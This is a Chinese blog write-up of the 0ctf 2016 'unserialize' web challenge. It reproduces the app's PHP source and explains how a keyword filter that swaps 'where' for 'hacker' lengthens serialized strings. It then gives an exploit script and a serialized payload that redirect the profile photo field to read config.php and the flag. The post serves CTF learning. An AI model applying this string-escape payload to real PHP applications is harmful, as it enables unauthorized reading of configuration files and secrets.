• 0ctf_2016 _Web_unserialize

    解题：

    进入环境 扫目录。 得到 www.zip ，下载得到 好几个 源码

    class.php   config.php   index.php    profile.php  register.php   update.php

    index页面源码：

    2. 	require_once('class.php');
    3. 	if($_SESSION['username']) {
    4. 		header('Location: profile.php');
    5. 		exit;
    6. 	}
    7. 	if($_POST['username'] && $_POST['password']) {
    8. 		$username = $_POST['username'];
    9. 		$password = $_POST['password'];
    10.  
    11. 		if(strlen($username) < 3 or strlen($username) > 16) 
    12. 			die('Invalid user name');
    13.  
    14. 		if(strlen($password) < 3 or strlen($password) > 16) 
    15. 			die('Invalid password');
    16.  
    17. 		if($user->login($username, $password)) {
    18. 			$_SESSION['username'] = $username;
    19. 			header('Location: profile.php');
    20. 			exit;	
    21. 		}
    22. 		else {
    23. 			die('Invalid user name or password');
    24. 		}
    25. 	}
    26. 	else {

    简单看了下，没有什么问题，只是做了长度的限制，登录进去会跳转到profile.php

    注册页面源码：

    2. 	require_once('class.php');
    3. 	if($_POST['username'] && $_POST['password']) {
    4. 		$username = $_POST['username'];
    5. 		$password = $_POST['password'];
    6.  
    7. 		if(strlen($username) < 3 or strlen($username) > 16) 
    8. 			die('Invalid user name');
    9.  
    10. 		if(strlen($password) < 3 or strlen($password) > 16) 
    11. 			die('Invalid password');
    12. 		if(!$user->is_exists($username)) {
    13. 			$user->register($username, $password);
    14. 			echo 'Register OK!Please Login';		
    15. 		}
    16. 		else {
    17. 			die('User name Already Exists');
    18. 		}
    19. 	}
    20. 	else {
    21. ?>

    也没有什么问题，同样是 检测长度，并且 确定username 存不存在。

    update.php 

    2. 	require_once('class.php');
    3. 	if($_SESSION['username'] == null) {
    4. 		die('Login First');	
    5. 	}
    6. 	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    7.  
    8. 		$username = $_SESSION['username'];
    9. 		if(!preg_match('/^\d{11}$/', $_POST['phone']))
    10. 			die('Invalid phone');
    11.  
    12. 		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    13. 			die('Invalid email');
    14. 		
    15. 		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    16. 			die('Invalid nickname');
    17.  
    18. 		$file = $_FILES['photo'];
    19. 		if($file['size'] < 5 or $file['size'] > 1000000)
    20. 			die('Photo size error');
    21.  
    22. 		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    23. 		$profile['phone'] = $_POST['phone'];
    24. 		$profile['email'] = $_POST['email'];
    25. 		$profile['nickname'] = $_POST['nickname'];
    26. 		$profile['photo'] = 'upload/' . md5($file['name']);
    27.  
    28. 		$user->update_profile($username, serialize($profile));
    29. 		echo 'Update Profile Success!Your Profile';
    30. 	}
    31. 	else {
    32. ?>

    对填写的字符 进行了正则。

    profile.php 

    2. 	require_once('class.php');
    3. 	if($_SESSION['username'] == null) {
    4. 		die('Login First');	
    5. 	}
    6. 	$username = $_SESSION['username'];
    7. 	$profile=$user->show_profile($username);
    8. 	if($profile  == null) {
    9. 		header('Location: update.php');
    10. 	}
    11. 	else {
    12. 		$profile = unserialize($profile);
    13. 		$phone = $profile['phone'];
    14. 		$email = $profile['email'];
    15. 		$nickname = $profile['nickname'];
    16. 		$photo = base64_encode(file_get_contents($profile['photo']));
    17. ?>
    20. <head>
    21.    Profile
    22.    <link href="static/bootstrap.min.css" rel="stylesheet">
    23.    
    24.    
    27. 	
      "container" style="margin-top:100px">  
    28. 		"data:image/gif;base64,$photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
    29. 		
      Hi echo $nickname;?>
    30. 		
    31. 		
    32.
  • }
  • ?>

    • 看到前面的代码。 满足了登录，且profile信息存在，则后面有个else 。 可能这就是最终利用到的代码：

    $photo = base64_encode(file_get_contents($profile['photo']));

    可能也就是说，我们要修改 profile 中的 photo 来读取flag。

    知道了这些，我们再看看剩下的两个代码：

    class.php

    2. require('config.php');
    3.  
    4. class user extends mysql{
    5. 	private $table = 'users';
    6.  
    7. 	public function is_exists($username) {
    8. 		$username = parent::filter($username);
    9.  
    10. 		$where = "username = '$username'";
    11. 		return parent::select($this->table, $where);
    12. 	}
    13. 	public function register($username, $password) {
    14. 		$username = parent::filter($username);
    15. 		$password = parent::filter($password);
    16.  
    17. 		$key_list = Array('username', 'password');
    18. 		$value_list = Array($username, md5($password));
    19. 		return parent::insert($this->table, $key_list, $value_list);
    20. 	}
    21. 	public function login($username, $password) {
    22. 		$username = parent::filter($username);
    23. 		$password = parent::filter($password);
    24.  
    25. 		$where = "username = '$username'";
    26. 		$object = parent::select($this->table, $where);
    27. 		if ($object && $object->password === md5($password)) {
    28. 			return true;
    29. 		} else {
    30. 			return false;
    31. 		}
    32. 	}
    33. 	public function show_profile($username) {
    34. 		$username = parent::filter($username);
    35.  
    36. 		$where = "username = '$username'";
    37. 		$object = parent::select($this->table, $where);
    38. 		return $object->profile;
    39. 	}
    40. 	public function update_profile($username, $new_profile) {
    41. 		$username = parent::filter($username);
    42. 		$new_profile = parent::filter($new_profile);
    43.  
    44. 		$where = "username = '$username'";
    45. 		return parent::update($this->table, 'profile', $new_profile, $where);
    46. 	}
    47. 	public function __tostring() {
    48. 		return __class__;
    49. 	}
    50. }
    51.  
    52. class mysql {
    53. 	private $link = null;
    54.  
    55. 	public function connect($config) {
    56. 		$this->link = mysql_connect(
    57. 			$config['hostname'],
    58. 			$config['username'], 
    59. 			$config['password']
    60. 		);
    61. 		mysql_select_db($config['database']);
    62. 		mysql_query("SET sql_mode='strict_all_tables'");
    63.  
    64. 		return $this->link;
    65. 	}
    66.  
    67. 	public function select($table, $where, $ret = '*') {
    68. 		$sql = "SELECT $ret FROM $table WHERE $where";
    69. 		$result = mysql_query($sql, $this->link);
    70. 		return mysql_fetch_object($result);
    71. 	}
    72.  
    73. 	public function insert($table, $key_list, $value_list) {
    74. 		$key = implode(',', $key_list);
    75. 		$value = '\'' . implode('\',\'', $value_list) . '\''; 
    76. 		$sql = "INSERT INTO $table ($key) VALUES ($value)";
    77. 		return mysql_query($sql);
    78. 	}
    79.  
    80. 	public function update($table, $key, $value, $where) {
    81. 		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
    82. 		return mysql_query($sql);
    83. 	}
    84.  
    85. 	public function filter($string) {
    86. 		$escape = array('\'', '\\\\');
    87. 		$escape = '/' . implode('|', $escape) . '/';
    88. 		$string = preg_replace($escape, '_', $string);
    89.  
    90. 		$safe = array('select', 'insert', 'update', 'delete', 'where');
    91. 		$safe = '/' . implode('|', $safe) . '/i';
    92. 		return preg_replace($safe, 'hacker', $string);
    93. 	}
    94. 	public function __tostring() {
    95. 		return __class__;
    96. 	}
    97. }
    98. session_start();
    99. $user = new user();
    100. $user->connect($config);

    class一般都是重要函数函数调用和数据库查询需要用到的文件。 class中包含了 config。php 去看看config .php 

    config.php:

    2. 	$config['hostname'] = '127.0.0.1';
    3. 	$config['username'] = 'root';
    4. 	$config['password'] = '';
    5. 	$config['database'] = '';
    6. 	$flag = '';
    7. ?>
    8.

    看到这里有个flag  应该是要class调用 config.php进行读取了。

    经过前面的思路就是 ，注册，登录，然后update 更新自己的信息，传给了 profile 。而photo参数具有文件读取的功能。

    update.php中。

    1. 		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    2. 		$profile['phone'] = $_POST['phone'];
    3. 		$profile['email'] = $_POST['email'];
    4. 		$profile['nickname'] = $_POST['nickname'];
    5. 		$profile['photo'] = 'upload/' . md5($file['name']);
    6.  
    7. 		$user->update_profile($username, serialize($profile));
    8. 		echo 'Update Profile Success!Your Profile';
    9. 	}
    10. 	else {

    这里调用了 个 update_profile 跟进一下。

    1. 	public function update_profile($username, $new_profile) {
    2. 		$username = parent::filter($username);
    3. 		$new_profile = parent::filter($new_profile);
    4.  
    5. 		$where = "username = '$username'";
    6. 		return parent::update($this->table, 'profile', $new_profile, $where);
    7. 	}

    直接修改对象中的profile 信息，这里还调用了filter 过滤，跟进一下 filter 函数。

    1. 	public function filter($string) {
    2. 		$escape = array('\'', '\\\\');
    3. 		$escape = '/' . implode('|', $escape) . '/';
    4. 		$string = preg_replace($escape, '_', $string);
    5.  
    6. 		$safe = array('select', 'insert', 'update', 'delete', 'where');
    7. 		$safe = '/' . implode('|', $safe) . '/i';
    8. 		return preg_replace($safe, 'hacker', $string);
    9. 	}
    return preg_replace($safe, 'hacker', $string);

    如果我们输入 'select', 'insert', 'update', 'delete', 'where' 这些字符，他就会自动替换为 hacker。

    不由想到 字符串逃串。

     

     

     果然把 我们的photo 替换成了hacker

    exp

    2.  
    3. class b
    4. {
    5. 	public $phone = "12345678901";
    6. 	public $email = "123@qq.com";
    7. 	public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
    8. 	public $photo = "config.php";
    9. }
    10. $a=new b();
    11. $profile = serialize($a);
    12. echo $profile;
    13.  
    14. ?>
    15. //O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    抓包

    返回页面后点击Your Profile

    查看源代码：

     解密就是flag

     

  • 相关阅读:
    关于循环浅析
    【JavaEE】多线程（二）
    Sql注入详解(原理篇)
    解决dirsearch扫描工具pkg_resources模块警告问题
    站在巨人肩上！阿里内部流传的Kubernetes实战手册，让你事半功倍
    JAVA集合2-Vector
    视频号视频提取小程序，快速下载视频号视频
    python基础语法(四)
    RPA前景、要求和学习方向
    关于开发中对端口(port)的几点理解
  • 原文地址：https://blog.csdn.net/snowlyzz/article/details/126833337